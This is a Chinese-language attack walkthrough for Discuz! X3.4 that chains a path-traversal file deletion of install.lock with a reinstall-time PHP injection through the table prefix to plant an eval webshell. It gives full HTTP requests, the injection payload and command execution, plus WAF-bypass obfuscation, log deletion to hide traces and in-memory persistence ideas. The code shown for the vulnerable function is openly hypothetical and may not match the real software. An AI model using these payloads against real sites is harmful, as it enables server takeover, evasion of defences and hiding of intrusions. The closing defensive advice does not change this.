Discuz! X3.4安全攻防:从任意文件删除到完整Getshell攻击链深度剖析
1. 项目概述:从单一漏洞到完整攻击链的深度剖析
在Discuz! X3.4的安全研究领域,很多人的认知还停留在“发现一个文件删除漏洞,然后删掉install.lock就能重装”的初级阶段。这种理解是片面的,甚至可以说是危险的,因为它忽略了漏洞利用的完整性和实战中的复杂性。今天,我想从一个资深安全研究者的角度,彻底拆解这个经典的“任意文件删除配合安装过程Getshell”攻击链。这不仅仅是一个漏洞的复现,更是一次关于如何将多个看似独立的弱点串联成致命一击的战术推演。对于从事Web安全、渗透测试或红队评估的朋友来说,理解这种组合拳的思维,远比掌握单个漏洞的利用脚本更有价值。我们将从漏洞的独立分析开始,逐步深入到它们如何环环相扣,最终构建出一条从外部攻击到获取服务器权限的清晰路径。
2. 漏洞组合拳的核心思路拆解
2.1 为什么不能“只删install.lock”?
很多初入安全领域的朋友,一看到“任意文件删除漏洞”,第一反应就是去找install.lock文件。这个思路本身没错,但它只看到了攻击链的最后一环,而忽略了前置条件和环境限制。在Discuz! X3.4的默认安全机制下,仅仅删除data/install.lock文件,通常无法直接触发重装。系统在安装完成后,会在/source/admincp/admincp_index.php的第14行左右执行一个关键检查:
if(@file_exists(DISCUZ_ROOT.'./install/index.php') && !DISCUZ_DEBUG) { @unlink(DISCUZ_ROOT.'./install/index.php'); if(@file_exists(DISCUZ_ROOT.'./install/index.php')) { dexit('Please delete install/index.php via FTP!'); } }这段代码意味着,一旦管理员登录过后台,系统会自动尝试删除install/index.php这个安装入口文件。如果删除失败(例如文件权限问题),则会直接提示“请通过FTP删除”,从而彻底堵死通过Web界面重装的道路。因此,一个能够稳定利用的攻击链,必须考虑以下两种前置场景之一:第一,目标站点安装后,管理员从未登录过后台(install/index.php文件依然存在);第二,由于服务器配置或权限问题,导致上述自动删除逻辑执行失败。在实际的渗透测试中,我们不能寄希望于运气,而需要主动创造条件,或寻找其他入口点。
2.2 攻击链的完整逻辑推演
一个完整的、可靠的攻击链,其逻辑应该是严谨且具有普适性的。针对Discuz! X3.4,我们可以将攻击流程分解为以下几个核心阶段:
- 信息收集与入口定位:首先需要确认目标Discuz!版本是否为X3.4,并寻找可利用的入口点。最常见的入口是用户中心(
home.php)的个人资料编辑功能,这里往往存在文件上传或参数处理逻辑。 - 触发任意文件删除漏洞:利用找到的入口,构造恶意请求,实现删除
data/install.lock文件的目的。这一步是打开重装大门的关键。 - 验证安装环境可用性:在删除锁文件后,需要检查
install/index.php是否可访问。如果不可访问,则此攻击链在此中断,需要寻找其他路径(如利用备份文件、其他CMS组件漏洞等)。 - 利用安装过程写入Webshell:在确认可以重装后,在数据库配置步骤,通过构造恶意的“表前缀”参数,将一句话木马写入到
config/config_ucenter.php配置文件中。 - 连接Webshell与权限维持:通过写入的Webshell连接工具,获取服务器访问权限,并根据目标环境进行进一步的权限提升或内网横向移动。
这个链条中,任意文件删除是发起攻击的扳机,未删除的install目录是攻击得以继续的通道,而安装程序对输入参数过滤不严则是最终获取Shell的致命一击。三者缺一不可,共同构成了一个低权限用户到系统控制者的完整跃迁。
2.3 工具选型与手动测试的权衡
在复现此类漏洞时,很多人倾向于直接使用网上公开的PoC(概念验证)脚本。公开的PoC脚本虽然便捷,但在实战中往往面临诸多问题:目标环境存在自定义修改、WAF拦截、参数名变化、会话(Session)和表单哈希(formhash)机制等。因此,我强烈建议在理解原理的基础上,以手动测试为主,工具为辅。
- 手动测试的优势:可以清晰观察每一个请求和响应,精准定位问题所在(例如,是表单哈希错误,还是文件路径不对)。这对于绕过简单的安全过滤、理解漏洞触发原理至关重要。
- 自动化工具的作用:在手动测试成功,摸清所有参数和流程后,可以编写或使用工具进行批量检测或利用,提高效率。但工具的编写必须建立在对漏洞深刻理解的基础上。
本次分析,我们将侧重于手动测试的每一个步骤,并解释其背后的原理,让你不仅能“用”这个漏洞,更能“懂”这个漏洞,从而具备应对各种变种和防护措施的能力。
3. 核心漏洞原理与利用点深度解析
3.1 任意文件删除漏洞(CVE-2018-14729)原理回溯
Discuz! X3.4的任意文件删除漏洞,通常出现在用户中心(home.php?mod=spacecp)编辑个人资料的功能处。其核心问题在于对用户可控参数(如birthprovince、birthdist等)的处理不当,导致了目录遍历(Directory Traversal)。
以source/include/spacecp/spacecp_profile.php中的代码为例(不同版本可能位置略有差异):
// 假设有一段处理头像上传或本地图片的逻辑 if($_G['group']['allowsetattach']) { $upload = new discuz_upload(); // ... 一些上传处理 if($upload->save()) { // 保存成功后,可能会根据旧的头像路径删除旧文件 $old_avatar = getuserprofile('field_name'); // 从数据库读取用户之前设置的值 if($old_avatar && file_exists($_G['setting']['attachdir'].'./'.$old_avatar)) { @unlink($_G['setting']['attachdir'].'./'.$old_avatar); // 危险操作! } // 更新数据库,将新的文件路径存入用户资料字段 updatetable('common_member_profile', array('field_name' => $new_avatar_path), array('uid' => $_G['uid'])); } }漏洞成因: 攻击者可以在编辑个人资料时,通过修改表单中如birthprovince这样的字段,将其值设置为一个包含目录遍历序列(如../../../data/install.lock)的字符串。当这个值被存入数据库后,在后续的某个操作(可能是再次更新头像、清理缓存等)中,程序会从数据库中读取这个值,并直接传递给unlink()函数。由于路径中包含了../,unlink()会向上回溯目录,从而删除预期之外的文件。
关键点:这个漏洞的触发通常需要两个请求。第一个请求(污染)将恶意路径写入数据库,第二个请求(触发)执行包含unlink()逻辑的操作,从而删除目标文件。这增加了利用的隐蔽性。
3.2 安装程序(install/index.php)的致命缺陷
即使成功删除了install.lock,并确认install/index.php存在,攻击的成败还取决于安装程序本身的代码质量。在Discuz! X3.4的安装程序中,存在一个关键的安全疏忽。
在install/index.php的数据库配置处理阶段(对应步骤step=3),程序会调用install_uc_server()函数来配置UCenter(Discuz!的用户中心)。跟进这个函数,在install/include/install_function.php中,可以找到save_uc_config函数:
function save_uc_config($config, $file) { $success = false; list($appauthkey, $appid, $ucdbhost, $ucdbname, $ucdbuser, $ucdbpw, $ucdbcharset, $uctablepre, $uccharset, $ucapi, $ucip) = $config; // ... 数据库连接测试等代码 ... $config = <<<EOT <?php define('UC_CONNECT', '$uc_connnect'); define('UC_DBHOST', '$ucdbhost'); define('UC_DBUSER', '$ucdbuser'); define('UC_DBPW', '$ucdbpw'); define('UC_DBNAME', '$ucdbname'); define('UC_DBCHARSET', '$ucdbcharset'); define('UC_DBTABLEPRE', '`$ucdbname`.$uctablepre'); define('UC_CHARSET', '$uccharset'); define('UC_KEY', '$appauthkey'); define('UC_API', '$ucapi'); define('UC_APPID', '$appid'); define('UC_IP', '$ucip'); define('UC_PPP', 20); ?> EOT; if($fp = fopen($file, 'w')) { fwrite($fp, $config); fclose($fp); $success = true; } return $success; }漏洞成因: 问题出在$uctablepre(即表前缀)这个变量上。在生成配置文件内容时,程序直接使用了<<<EOT(Heredoc)语法将变量嵌入到字符串中,然后写入文件。$uctablepre来自用户在前端表单的输入,在传入save_uc_config函数前,没有经过任何有效的过滤或转义。
因此,如果我们在安装时,将表前缀设置为:
x');@eval($_POST[cmd]);('那么,最终写入config/config_ucenter.php的配置行就会变成:
define('UC_DBTABLEPRE', '`discuz`.x');@eval($_POST[cmd]);('');这行代码在PHP中是完全合法的。它首先定义了一个常量UC_DBTABLEPRE,其值为字符串`discuz`.x,然后紧接着是一个独立的PHP语句@eval($_POST[cmd]);,最后是一个空的字符串('')。当该配置文件被其他程序include或require时,其中的eval语句就会被执行,从而形成一个Webshell。
注意:这里利用的是PHP代码注入,而非SQL注入。因为写入的是
.php配置文件,它会被当作PHP代码执行。$uctablepre变量被直接拼接进了一个PHP代码字符串中。
4. 手动实战复现:一步步构建攻击链
4.1 环境准备与信息收集
- 搭建靶场:在本地或测试机搭建一个全新的Discuz! X3.4环境。确保完成安装,并以管理员身份登录一次后台,触发系统删除
install/index.php的机制。然后,我们手动将install/index.php文件恢复,以模拟“管理员未登录后台”或“删除失败”的场景。 - 注册测试账号:注册一个普通用户账号,用于测试漏洞。记录下Cookie。
- 定位编辑个人资料的接口:通过浏览器开发者工具(F12),查看编辑个人资料(如出生地)时发送的请求。通常接口为
home.php?mod=spacecp&ac=profile&op=base,使用POST方法提交。关键是要找到用于删除操作的参数名(如birthprovince)和当前请求所需的formhash(Discuz!的CSRF令牌)。
4.2 步骤一:利用任意文件删除漏洞
假设我们已通过分析,确定birthprovince参数在后续的某个操作中会被用于unlink()。我们的目标是删除/data/install.lock。
请求一:污染数据向编辑资料接口发送一个POST请求,将birthprovince的值设置为我们的恶意路径。
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1 Host: your-target.com Cookie: [你的登录Cookie] Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="formhash" a1b2c3d4e5 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="profilesubmit" true ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="birthprovince" ../../../data/install.lock ------WebKitFormBoundaryABC123--这个请求会将路径../../../data/install.lock写入数据库该用户的birthprovince字段。
请求二:触发删除触发删除的逻辑可能隐藏在另一个功能中,比如“更新头像”、“保存设置”等。需要仔细审计代码或进行黑盒测试。一个常见的方法是,再次提交个人资料,但这次附带一个文件上传(如图片)。程序在处理新文件时,可能会先删除数据库中记录的旧文件(即我们刚才写入的路径)。
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1 Host: your-target.com Cookie: [你的登录Cookie] Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXYZ789 ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; name="formhash" a1b2c3d4e5 ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; name="profilesubmit" true ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; name="birthprovince" ../../../data/install.lock ------WebKitFormBoundaryXYZ789 Content-Disposition: form-data; name="avatarfile"; filename="test.png" Content-Type: image/png [PNG文件二进制数据] ------WebKitFormBoundaryXYZ789--如果漏洞存在且被触发,服务器上的/data/install.lock文件将被删除。你可以通过直接访问http://your-target.com/data/install.lock来验证是否返回404。
4.3 步骤二:触发重装并写入Webshell
- 访问安装页面:直接访问
http://your-target.com/install/。如果install.lock已删除且index.php存在,你应该能看到Discuz!的安装向导界面。 - 跳过前期步骤:按照向导,同意协议,检查环境,直到进入“设置运行环境”步骤。在“是否安装UCenter Server”处,选择“是”。
- 关键配置:在数据库信息填写页面,重点在于“表前缀”这一项。
- 数据库服务器、数据库名、用户名、密码:填写目标站点的实际信息。如果你没有这些信息,此攻击链将无法进行到这一步。在实际渗透中,这可能通过其他信息泄露漏洞(如配置文件备份、日志泄露)获得。
- 表前缀:填入我们的恶意Payload。例如:
x');@eval($_POST[lanvnal]);('lanvnal是我们连接Webshell时需要使用的POST参数名,可以自定义。- 注意闭合前后的单引号和括号,确保拼接后的PHP语法正确。
- 完成安装:填写其他必要信息(管理员账号、邮箱等),点击提交。如果一切顺利,安装程序会开始创建表,并在最后生成配置文件。我们的Webshell就被写入到了
config/config_ucenter.php中。
4.4 步骤三:验证与连接Webshell
- 验证文件写入:直接访问
http://your-target.com/config/config_ucenter.php。正常情况下,这个文件会返回空白页(因为定义了常量)。但如果我们的Payload被执行,页面可能会有异常输出或报错。更稳妥的方式是查看页面源代码,或者用工具尝试连接。 - 连接Webshell:使用中国菜刀、蚁剑、冰蝎等Webshell管理工具,或者直接用
curl命令进行测试。
如果返回了服务器当前进程的用户名(如POST /config/config_ucenter.php HTTP/1.1 Host: your-target.com Content-Type: application/x-www-form-urlencoded lanvnal=system('whoami');www-data、apache、nobody),则证明Webshell写入并执行成功。
5. 实战中的疑难杂症与高级技巧
5.1 常见问题排查表
| 问题现象 | 可能原因 | 排查与解决方案 |
|---|---|---|
删除install.lock后,访问/install/仍提示已安装。 | 1.install.lock路径不对。2. 程序通过其他方式判断是否安装(如数据库标志)。 3. 存在缓存或 .htaccess限制。 | 1. 确认Discuz!根目录,使用绝对路径尝试(如/var/www/html/data/install.lock)。2. 检查数据库中 common_setting表里是否有安装标志。3. 清除浏览器缓存,检查 install目录下是否有.htaccess或index.html等禁止访问的文件。 |
| 安装过程中,在数据库配置步骤提交后报错(如“无法连接数据库”)。 | 1. 数据库信息填写错误。 2. 数据库用户权限不足(如无CREATE权限)。 3. 表前缀包含非法字符导致SQL语句错误。 | 1. 仔细核对数据库主机、用户名、密码。 2. 尝试使用更高权限的数据库账号。 3. 我们的Payload会导致SQL错误,但目的是写入文件,可以忽略部分SQL错误,只要最终配置文件能生成即可。关注页面是否显示“建立数据表”等成功信息。 |
config_ucenter.php文件已生成,但Webshell无法执行。 | 1. Web服务器(如Nginx)未正确配置PHP解析。 2. 文件权限问题(不可读)。 3. open_basedir或disable_functions等PHP安全配置限制了eval。 | 1. 检查该文件是否被当作PHP解析。可以访问http://target.com/config/config_ucenter.php?lanvnal=phpinfo();看是否输出phpinfo信息。2. 检查文件权限是否为644或更宽松。 3. 尝试使用其他PHP函数作为Payload测试,如 echo ‘test’;。如果被禁用,需寻找其他绕过方式。 |
表单提交时需要formhash,但不知道如何获取。 | formhash是Discuz!的CSRF令牌,每次页面刷新都会变化。 | 1. 在浏览器中登录测试账号,打开编辑资料页面,查看页面源代码,搜索formhash,其值通常在input标签或JavaScript变量中。2. 通过正则表达式从页面HTML中提取: /name="formhash" value="([^"]+)"/。 |
| 目标站点可能使用了CDN或WAF,拦截了恶意请求。 | WAF规则检测到了路径遍历(../)或PHP代码特征(eval、$_POST)。 | 1.路径遍历绕过:尝试使用双重编码(..%252f..%252f)、UTF-8编码、绝对路径等。2.代码混淆:对Webshell的Payload进行Base64编码、字符串拼接、异或运算等混淆,并在 eval中解码执行。例如表前缀可设置为:x');eval(base64_decode($_POST[z]));(',然后POST传递z=c3lzdGVtKCd3aG9hbWknKTs=(system(‘whoami’);的base64)。 |
5.2 高级利用与权限维持思路
无数据库信息的利用:如果我们无法获得目标的数据库账号密码,上述攻击链在最后一步会卡住。此时可以退而求其次,利用文件删除漏洞做其他事情:
- 删除
.htaccess或web.config:如果存在,删除这些文件可能暴露目录列表或降低安全等级。 - 删除验证码文件:为暴力破解创造条件。
- 删除其他关键配置文件:导致站点功能异常,结合社会工程学进行下一步攻击。
- 删除日志文件:抹除攻击痕迹(需注意时间差和权限)。
- 删除
Webshell的隐蔽与持久化:
- 写入非Web目录:尝试将Webshell写入到
data/目录下的某个.php文件中,该目录通常有写入权限且可执行PHP。 - 利用合法文件包含:如果存在本地文件包含(LFI)漏洞,可以不直接写入Webshell,而是将恶意代码写入到
data/install.lock或data/cache等可写文件中,然后通过LFI去包含执行。 - 内存Webshell:在获取一个阶段的Webshell后,可以尝试向PHP-FPM、Redis、Memcached等内存服务中注入恶意代码,实现无文件驻留,对抗常规的文件查杀。
- 写入非Web目录:尝试将Webshell写入到
组合其他Discuz!漏洞:Discuz! X3.4历史上存在多个漏洞,可以组合使用。
- SSRF漏洞:如果同时存在SSRF漏洞,可以将其与文件删除结合,利用
file://协议删除本地文件,或探测内网。 - 前台SQL注入:获取数据库信息,为安装步骤的数据库连接提供凭据。
- 后台漏洞:如果通过其他方式进入了后台,则可以直接利用后台的数据库备份、模板编辑等功能getshell,无需走复杂的安装流程。
- SSRF漏洞:如果同时存在SSRF漏洞,可以将其与文件删除结合,利用
这个从任意文件删除到Getshell的链条,清晰地展示了一个道理:在安全防御中,短板效应极其明显。开发者可能认为“安装目录没删”不是大问题,“文件删除漏洞需要先污染再触发”很鸡肋,“表前缀过滤不严”影响不大。但攻击者正是通过精心策划,将这些“小问题”串联起来,形成了一条畅通无阻的攻击路径。对于防御方而言,修补每一个细微的漏洞、遵循最小权限原则、对用户输入进行严格过滤和校验,是构建安全体系的基石。而对于安全研究者,锻炼这种将多个低危漏洞组合成高危利用链的思维,是提升实战能力的关键。
